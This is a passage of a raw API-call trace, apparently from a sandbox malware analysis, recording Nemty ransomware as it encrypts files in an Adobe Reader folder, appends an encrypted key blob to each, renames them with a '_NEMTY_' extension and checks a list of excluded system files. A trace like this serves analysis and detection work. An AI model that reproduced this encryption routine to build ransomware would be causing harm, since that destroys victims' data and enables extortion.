lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0180.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.802] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Acroform.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\acroform.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.803] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=426496) returned 1 [0180.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0180.803] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.803] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0180.813] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.813] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0180.813] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0180.813] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=426496, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x68200 [0180.813] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0180.815] CloseHandle (hObject=0x2e8) returned 1 [0180.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0180.815] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.815] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0180.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0180.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0180.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.815] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Acroform.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\acroform.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Acroform.POL._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\acroform.pol._nemty_kgobjgd_")) returned 1 [0180.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0180.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0180.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.816] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d0fa60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="AdobeCollabSync.POL", cAlternateFileName="ADOBEC~1.POL")) returned 1 [0180.816] lstrcmpiW (lpString1="AdobeCollabSync.POL", lpString2=".") returned 1 [0180.816] lstrcmpiW (lpString1="AdobeCollabSync.POL", lpString2="..") returned 1 [0180.816] lstrcmpiW (lpString1="AdobeCollabSync.POL", lpString2="...") returned 1 [0180.816] lstrcmpiW (lpString1="AdobeCollabSync.POL", lpString2="windows") returned -1 [0180.816] lstrcmpiW (lpString1="AdobeCollabSync.POL", lpString2="$RECYCLE.BIN") returned 1 [0180.816] lstrcmpiW (lpString1="AdobeCollabSync.POL", lpString2="rsa") returned -1 [0180.816] lstrcmpiW (lpString1="AdobeCollabSync.POL", lpString2="NTDETECT.COM") returned -1 [0180.816] lstrcmpiW (lpString1="AdobeCollabSync.POL", lpString2="ntldr") returned -1 [0180.816] lstrcmpiW (lpString1="AdobeCollabSync.POL", lpString2="MSDOS.SYS") returned -1 [0180.816] lstrcmpiW (lpString1="AdobeCollabSync.POL", lpString2="IO.SYS") returned -1 [0180.816] lstrcmpiW (lpString1="AdobeCollabSync.POL", lpString2="boot.ini") returned -1 [0180.816] lstrcmpiW (lpString1="AdobeCollabSync.POL", lpString2="boot.ini") returned -1 [0180.816] lstrcmpiW (lpString1="AdobeCollabSync.POL", lpString2="AUTOEXEC.BAT") returned -1 [0180.816] lstrcmpiW (lpString1="AdobeCollabSync.POL", lpString2="ntuser.dat") returned -1 [0180.816] lstrcmpiW (lpString1="AdobeCollabSync.POL", lpString2="desktop.ini") returned -1 [0180.816] lstrcmpiW (lpString1="AdobeCollabSync.POL", lpString2="CONFIG.SYS") returned -1 [0180.816] lstrcmpiW (lpString1="AdobeCollabSync.POL", lpString2="RECYCLER") returned -1 [0180.816] lstrcmpiW (lpString1="AdobeCollabSync.POL", lpString2="BOOTSECT.BAK") returned -1 [0180.816] lstrcmpiW (lpString1="AdobeCollabSync.POL", lpString2="bootmgr") returned -1 [0180.816] lstrcmpiW (lpString1="AdobeCollabSync.POL", lpString2="programdata") returned -1 [0180.816] lstrcmpiW (lpString1="AdobeCollabSync.POL", lpString2="appdata") returned -1 [0180.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0180.816] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.POL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0180.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.816] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.POL", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.POL", lpUsedDefaultChar=0x0) returned 19 [0180.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0180.817] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.POL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0180.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.817] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.POL", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.POL", lpUsedDefaultChar=0x0) returned 19 [0180.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0180.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0180.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0180.817] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.POL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0180.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.817] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.POL", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.POL", lpUsedDefaultChar=0x0) returned 19 [0180.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0180.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0180.817] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.POL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0180.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.817] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.POL", cchWideChar=19, lpMultiByteStr=0x4f9ed58, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.POL", lpUsedDefaultChar=0x0) returned 19 [0180.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0180.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0180.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0180.817] Sleep (dwMilliseconds=0x5) [0180.833] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f6e87b0, dwHighDateTime=0x1d561e8)) [0180.833] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f6e87b0, dwHighDateTime=0x1d561e8)) [0180.833] GetLastError () returned 0x0 [0180.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.833] GetLastError () returned 0x0 [0180.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0180.833] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0180.833] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0180.833] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0180.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0180.833] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e5dc | out: pszString="Z4VouMIrKHG2EffKTs630ib09xU7b40iXG93m2H8Qd6MA5mi/EOW+F4jxM6Kpen/\r\niabqNrFVONLwtcXyBtGOx1faKRI+lI+kUiW3PXoDG+FaulqNAt9AQXV6EvAFI0w+\r\nHQw6wdrVBlq0KvLmL4IlGure/so2fKEo9Tiya6tRL59U+GPOy/v7hI6vvDthIjn+\r\n8vCf6SQV+FQy2zTibrurQE0eFu8VPY7PeecaRNJjIGLhdwjIxoG9+mqMolE1PWo3\r\ntQqgf+ZMnDwduw2zoV/fv3+fY3ubKAXIPONg33lQmQwNFvN3lsX+mDf3tPob7zJ9\r\nBhDOoqyMncdjlJyaaNekAw==\r\n", pcchString=0x653e5dc) returned 1 [0180.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0180.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0180.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0180.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.834] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\AdobeCollabSync.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\adobecollabsync.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.834] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=7168) returned 1 [0180.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1c00) returned 0x6352c48 [0180.834] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.834] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1c00, lpOverlapped=0x0) returned 1 [0180.836] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.836] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1c00, lpOverlapped=0x0) returned 1 [0180.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0180.836] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=7168, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1c00 [0180.836] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0180.836] CloseHandle (hObject=0x2e8) returned 1 [0180.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0180.836] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0180.837] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0180.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0180.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0180.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0180.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0180.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0180.837] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\AdobeCollabSync.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\adobecollabsync.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\AdobeCollabSync.POL._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\adobecollabsync.pol._nemty_kgobjgd_")) returned 1 [0180.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0180.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0180.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0180.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.837] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7bc00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Annots.POL", cAlternateFileName="")) returned 1 [0180.838] lstrcmpiW (lpString1="Annots.POL", lpString2=".") returned 1 [0180.838] lstrcmpiW (lpString1="Annots.POL", lpString2="..") returned 1 [0180.838] lstrcmpiW (lpString1="Annots.POL", lpString2="...") returned 1 [0180.838] lstrcmpiW (lpString1="Annots.POL", lpString2="windows") returned -1 [0180.838] lstrcmpiW (lpString1="Annots.POL", lpString2="$RECYCLE.BIN") returned 1 [0180.838] lstrcmpiW (lpString1="Annots.POL", lpString2="rsa") returned -1 [0180.838] lstrcmpiW (lpString1="Annots.POL", lpString2="NTDETECT.COM") returned -1 [0180.838] lstrcmpiW (lpString1="Annots.POL", lpString2="ntldr") returned -1 [0180.838] lstrcmpiW (lpString1="Annots.POL", lpString2="MSDOS.SYS") returned -1 [0180.838] lstrcmpiW (lpString1="Annots.POL", lpString2="IO.SYS") returned -1 [0180.838] lstrcmpiW (lpString1="Annots.POL", lpString2="boot.ini") returned -1 [0180.838] lstrcmpiW (lpString1="Annots.POL", lpString2="boot.ini") returned -1 [0180.838] lstrcmpiW (lpString1="Annots.POL", lpString2="AUTOEXEC.BAT") returned -1 [0180.838] lstrcmpiW (lpString1="Annots.POL", lpString2="ntuser.dat") returned -1 [0180.838] lstrcmpiW (lpString1="Annots.POL", lpString2="desktop.ini") returned -1 [0180.838] lstrcmpiW (lpString1="Annots.POL", lpString2="CONFIG.SYS") returned -1 [0180.838] lstrcmpiW (lpString1="Annots.POL", lpString2="RECYCLER") returned -1 [0180.838] lstrcmpiW (lpString1="Annots.POL", lpString2="BOOTSECT.BAK") returned -1 [0180.838] lstrcmpiW (lpString1="Annots.POL", lpString2="bootmgr") returned -1 [0180.838] lstrcmpiW (lpString1="Annots.POL", lpString2="programdata") returned -1 [0180.838] lstrcmpiW (lpString1="Annots.POL", lpString2="appdata") returned -1 [0180.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.838] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.POL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.838] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.POL", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.POL", lpUsedDefaultChar=0x0) returned 10 [0180.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.838] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.POL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.838] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.POL", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.POL", lpUsedDefaultChar=0x0) returned 10 [0180.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.838] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.POL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.838] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.POL", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.POL", lpUsedDefaultChar=0x0) returned 10 [0180.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.839] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.POL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.839] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.POL", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.POL", lpUsedDefaultChar=0x0) returned 10 [0180.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0180.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0180.839] Sleep (dwMilliseconds=0x5) [0180.848] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f70e910, dwHighDateTime=0x1d561e8)) [0180.848] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f70e910, dwHighDateTime=0x1d561e8)) [0180.849] GetLastError () returned 0x0 [0180.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.849] GetLastError () returned 0x0 [0180.849] RtlAllocateHeap (HeapHandle=0x4f90000, 